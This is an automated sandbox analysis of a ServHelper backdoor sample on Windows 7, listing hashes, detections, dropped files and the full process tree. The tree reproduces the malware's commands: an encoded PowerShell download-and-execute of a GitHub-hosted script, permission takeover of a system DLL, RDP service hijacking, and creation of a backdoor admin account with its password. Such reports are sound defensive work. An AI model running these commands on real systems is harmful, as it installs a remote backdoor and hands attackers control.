Analysis

  • max time kernel
    143s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    10-04-2024 14:24

General

  • Target

    d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486.exe

  • Size

    5.7MB

  • MD5

    83d119a963e7050995f9bf6be8841b95

  • SHA1

    2ba0e479d5c2b7b9b28c7f946bd56489cedaa126

  • SHA256

    d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486

  • SHA512

    4c740f5e0f4787fc268239882fe9b74ee00944053ac4c45ca1d114dbd22954f00c3f4fd5fb39be932b44e6da9380466d07b324150454357bf7b12a17b77ceffe

  • SSDEEP

    49152:OZxqAErb/T/vO90dL3BmAFd4A64nsfJ49fEM5QcLTmk/2PU3oq5Z/tXGKSXzDBme:OZZ0hEumAQQQQQQQQQQQQQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486.exe
    "C:\Users\Admin\AppData\Local\Temp\d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1712
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2616
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\irs8saix.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2520
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6559.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC6558.tmp"
          4⤵
            PID:2584
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2492
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2844
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1836
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:820
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1776
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:2288
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3068
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2128
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2972
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1216
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2220
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:2912
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Sets DLL path for service in the registry
            • Modifies registry key
            PID:1644
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1128
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2024
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:2152
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1340
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1704
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:2256
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:964
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1408
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1088
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:912
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1772
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:2744
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:2748
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1444
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1732
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:1064
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc SNFLIw9w /add
                                  1⤵
                                    PID:1112
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc SNFLIw9w /add
                                      2⤵
                                        PID:1600
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc SNFLIw9w /add
                                          3⤵
                                            PID:1468
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:2032
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:2108
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:1516
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" PIRBKNPS$ /ADD
                                              1⤵
                                                PID:1596
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" PIRBKNPS$ /ADD
                                                  2⤵
                                                    PID:2224
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" PIRBKNPS$ /ADD
                                                      3⤵
                                                        PID:3000
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1724
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:2160
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1744
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc SNFLIw9w
                                                          1⤵
                                                            PID:1456
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc SNFLIw9w
                                                              2⤵
                                                                PID:2176
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc SNFLIw9w
                                                                  3⤵
                                                                    PID:1936
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:2424
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Detects videocard installed
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:2892
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:2472
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:2652
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:2436
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:2396
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2140

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v15

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • C:\Users\Admin\AppData\Local\Temp\RES6559.tmp

                                                                        Filesize

                                                                        1KB

                                                                        MD5

                                                                        5eadfa2d7adec1a3ea3ecdfa74213e13

                                                                        SHA1

                                                                        f23077cd05147c3493c207bd0af78eee66ad761c

                                                                        SHA256

                                                                        7208ca8c2c5cd1e558876217e516dc4592df0705c6358abc53aaac66dcef33a3

                                                                        SHA512

                                                                        b9a42564e51ae89272350bab5743217889a7c260b496aa4b50e8a71358cc25656df3ab89ea1c696bd30048f429d46918fc98ea17788d3b0465818b4e354f9b9e

                                                                      • C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

                                                                        Filesize

                                                                        2.5MB

                                                                        MD5

                                                                        9d21abc1a799ae0ea31258d563532295

                                                                        SHA1

                                                                        a9cde90ba328e30a3eb7a5c410b304a4ae09cdba

                                                                        SHA256

                                                                        8075e676d039b5791405f3ab00787a16199920dfe025ff04359b953565bf6f2f

                                                                        SHA512

                                                                        b9324c8b4af372a89aaa8c864dab88e74fdd820b28b6fe03897151e23de01b0a0857959e0e023340e4dd18ba0a6dad2faaf365580769b3a473070457b72b3065

                                                                      • C:\Users\Admin\AppData\Local\Temp\irs8saix.dll

                                                                        Filesize

                                                                        3KB

                                                                        MD5

                                                                        0107e9dfdac8706cac1e577b58df02b7

                                                                        SHA1

                                                                        d91e38c1c845655f9c78652c9736495b893e85bd

                                                                        SHA256

                                                                        2d876502dca43a25d61ca1bb9974aa8f9d592698ea4e13636ed9d352ab974481

                                                                        SHA512

                                                                        1e69037dd111f75465311957804e5b5cf0d41369f2036b288426c9a1b90f77d09a70c85c976ee1389296b312e0ae95a771709667031a9623a49d738aa4ec76d1

                                                                      • C:\Users\Admin\AppData\Local\Temp\irs8saix.pdb

                                                                        Filesize

                                                                        7KB

                                                                        MD5

                                                                        e0c45aa7f0e4665606180bd01090a68b

                                                                        SHA1

                                                                        58a8ed7fedb303fd9839b58e114b42c5d299dc27

                                                                        SHA256

                                                                        26f76b47739edf9fba680c0cb28f73874c1cff0013f2492c31690afa0edf591f

                                                                        SHA512

                                                                        b4fa1b9d75d6aeed2983b58b0d2dde275605565f399b5494b1744355a529499c304e84f2082ebb7bf9854238552ac4c4a997a6c718d03c2a1937d6ab2109d725

                                                                      • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                                                        Filesize

                                                                        1KB

                                                                        MD5

                                                                        28d9755addec05c0b24cca50dfe3a92b

                                                                        SHA1

                                                                        7d3156f11c7a7fb60d29809caf93101de2681aa3

                                                                        SHA256

                                                                        abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

                                                                        SHA512

                                                                        891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        Filesize

                                                                        7KB

                                                                        MD5

                                                                        aa8c7d20a6d1f8cf8f1eb6ea4ccfbb50

                                                                        SHA1

                                                                        e905ffd56ef57db76ba86dd4860baec21a1fecce

                                                                        SHA256

                                                                        5c579bb3d73c1ed35ff5f4fb72aa9015b3f6c53c10f2c67e2f73feb5c92ed394

                                                                        SHA512

                                                                        9462eb144831103ca69d9ea039287675cd2338d40440f7f7959234702c2817bf48f488fbb3b328719eaadfe0408b0a2858a0345f0bd6a90fb98ef03969fb3738

                                                                      • C:\Windows\system32\rfxvmt.dll

                                                                        Filesize

                                                                        40KB

                                                                        MD5

                                                                        dc39d23e4c0e681fad7a3e1342a2843c

                                                                        SHA1

                                                                        58fd7d50c2dca464a128f5e0435d6f0515e62073

                                                                        SHA256

                                                                        6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                                                        SHA512

                                                                        5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                                                      • \??\PIPE\samr

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\CSC6558.tmp

                                                                        Filesize

                                                                        652B

                                                                        MD5

                                                                        5a9f3bc8d5973cd64487d61ffbb339c2

                                                                        SHA1

                                                                        51ec3a68baaf7d2514497af4fcf7d2852c9c5591

                                                                        SHA256

                                                                        d8031d7e2a6778f5a806ebd0a393f52a2592ac8f6d5aa7566ee3e81c507d0359

                                                                        SHA512

                                                                        4e42f87646e5ac6c715960a7bc71f23f9a501cea603bc2d30647b71ddd1645827b8562366a23f743e4904a3a08ee35484a756716940c9c65c6dd67296298e02d

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\irs8saix.0.cs

                                                                        Filesize

                                                                        424B

                                                                        MD5

                                                                        9f8ab7eb0ab21443a2fe06dab341510e

                                                                        SHA1

                                                                        2b88b3116a79e48bab7114e18c9b9674e8a52165

                                                                        SHA256

                                                                        e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

                                                                        SHA512

                                                                        53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\irs8saix.cmdline

                                                                        Filesize

                                                                        309B

                                                                        MD5

                                                                        6f80eff98c741b73db1f260abbaa03c8

                                                                        SHA1

                                                                        32c757ae63522c8fee4ce0ffdebe196e1ac541b1

                                                                        SHA256

                                                                        154399548368d85e6add8e2232d0cebc411bce96b24aa5875f3f1eee80cfcdc6

                                                                        SHA512

                                                                        e005bed532e2922e971e2bb0f14ce7b685c3747350d04dad835b893a6f38ad5fcff029b1ac269dffd0be3cdff040975290997fc6e6638079ddf3fb8a6fd31099

                                                                      • \Windows\Branding\mediasrv.png

                                                                        Filesize

                                                                        60KB

                                                                        MD5

                                                                        2997902dba8aefe9e872b14c2bfb584b

                                                                        SHA1

                                                                        cca608ebdde64a12dca56b2bd4864089857eba01

                                                                        SHA256

                                                                        537ab9c5f678410f21c063f11f4a894cc15025a5590199716a01bbf365dc0e50

                                                                        SHA512

                                                                        4fc959cbf5bebfcb5a32fdebd2ceec8943f9d3d0ffcaed236b2d73b680c5c5f6c85d5ad3d192d7d565f4b2fe07fb87321a8036a304147df2b7f45936ff5f9fc1

                                                                      • \Windows\Branding\mediasvc.png

                                                                        Filesize

                                                                        743KB

                                                                        MD5

                                                                        9119f61ba0d487585a8fd5aaa4198a9a

                                                                        SHA1

                                                                        1ff2e337e5d1547d9e1824062500f743aae999db

                                                                        SHA256

                                                                        6a3da788a78fc2024fbfb135624047a7d15edcae3798a3cb0e87fbab740d70f1

                                                                        SHA512

                                                                        322e3e0006a3015c0495b76bdf9125285e6a6dd2f84d69996e4d95cbc73449269b7945ccccad465d417394075bc69f46f91ad1eb95f717958977cb88139267ab

                                                                      • memory/1712-51-0x00000000412A0000-0x0000000041320000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/1712-58-0x00000000412A0000-0x0000000041320000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/1712-1-0x0000000041720000-0x0000000041B24000-memory.dmp

                                                                        Filesize

                                                                        4.0MB

                                                                      • memory/1712-3-0x00000000412A0000-0x0000000041320000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/1712-4-0x00000000412A0000-0x0000000041320000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/1712-49-0x00000000412A0000-0x0000000041320000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/1712-2-0x00000000412A0000-0x0000000041320000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/1712-0-0x000007FEF5F20000-0x000007FEF690C000-memory.dmp

                                                                        Filesize

                                                                        9.9MB

                                                                      • memory/1712-36-0x000007FEF5F20000-0x000007FEF690C000-memory.dmp

                                                                        Filesize

                                                                        9.9MB

                                                                      • memory/1836-77-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

                                                                        Filesize

                                                                        9.6MB

                                                                      • memory/1836-74-0x0000000001F40000-0x0000000001FC0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/1836-76-0x0000000001F40000-0x0000000001FC0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/1836-75-0x0000000001F40000-0x0000000001FC0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/1836-71-0x0000000001F40000-0x0000000001FC0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/1836-70-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

                                                                        Filesize

                                                                        9.6MB

                                                                      • memory/1836-73-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

                                                                        Filesize

                                                                        9.6MB

                                                                      • memory/2140-106-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

                                                                        Filesize

                                                                        9.6MB

                                                                      • memory/2140-111-0x0000000001260000-0x00000000012E0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2140-112-0x0000000001260000-0x00000000012E0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2140-110-0x0000000001260000-0x00000000012E0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2140-113-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

                                                                        Filesize

                                                                        9.6MB

                                                                      • memory/2140-109-0x0000000001260000-0x00000000012E0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2140-108-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

                                                                        Filesize

                                                                        9.6MB

                                                                      • memory/2140-107-0x0000000001260000-0x00000000012E0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2492-47-0x00000000024E0000-0x0000000002560000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2492-52-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

                                                                        Filesize

                                                                        9.6MB

                                                                      • memory/2492-50-0x00000000024E0000-0x0000000002560000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2492-48-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

                                                                        Filesize

                                                                        9.6MB

                                                                      • memory/2492-46-0x00000000024E0000-0x0000000002560000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2492-45-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

                                                                        Filesize

                                                                        9.6MB

                                                                      • memory/2616-16-0x0000000002930000-0x00000000029B0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2616-84-0x0000000002930000-0x00000000029B0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2616-39-0x00000000029B0000-0x00000000029E2000-memory.dmp

                                                                        Filesize

                                                                        200KB

                                                                      • memory/2616-37-0x0000000002930000-0x00000000029B0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2616-32-0x00000000026D0000-0x00000000026D8000-memory.dmp

                                                                        Filesize

                                                                        32KB

                                                                      • memory/2616-15-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

                                                                        Filesize

                                                                        9.6MB

                                                                      • memory/2616-78-0x0000000002930000-0x00000000029B0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2616-79-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

                                                                        Filesize

                                                                        9.6MB

                                                                      • memory/2616-80-0x0000000002930000-0x00000000029B0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2616-81-0x0000000002930000-0x00000000029B0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2616-83-0x0000000002930000-0x00000000029B0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2616-72-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

                                                                        Filesize

                                                                        9.6MB

                                                                      • memory/2616-14-0x0000000002930000-0x00000000029B0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2616-13-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

                                                                        Filesize

                                                                        9.6MB

                                                                      • memory/2616-12-0x0000000001E50000-0x0000000001E58000-memory.dmp

                                                                        Filesize

                                                                        32KB

                                                                      • memory/2616-11-0x000000001B390000-0x000000001B672000-memory.dmp

                                                                        Filesize

                                                                        2.9MB

                                                                      • memory/2616-17-0x0000000002930000-0x00000000029B0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2616-38-0x00000000029B0000-0x00000000029E2000-memory.dmp

                                                                        Filesize

                                                                        200KB

                                                                      • memory/2844-59-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

                                                                        Filesize

                                                                        9.6MB

                                                                      • memory/2844-60-0x0000000002630000-0x00000000026B0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2844-61-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

                                                                        Filesize

                                                                        9.6MB

                                                                      • memory/2844-62-0x0000000002630000-0x00000000026B0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2844-63-0x0000000002630000-0x00000000026B0000-memory.dmp

                                                                        Filesize

                                                                        512KB

                                                                      • memory/2844-64-0x000007FEEE0B0000-0x000007FEEEA4D000-memory.dmp

                                                                        Filesize

                                                                        9.6MB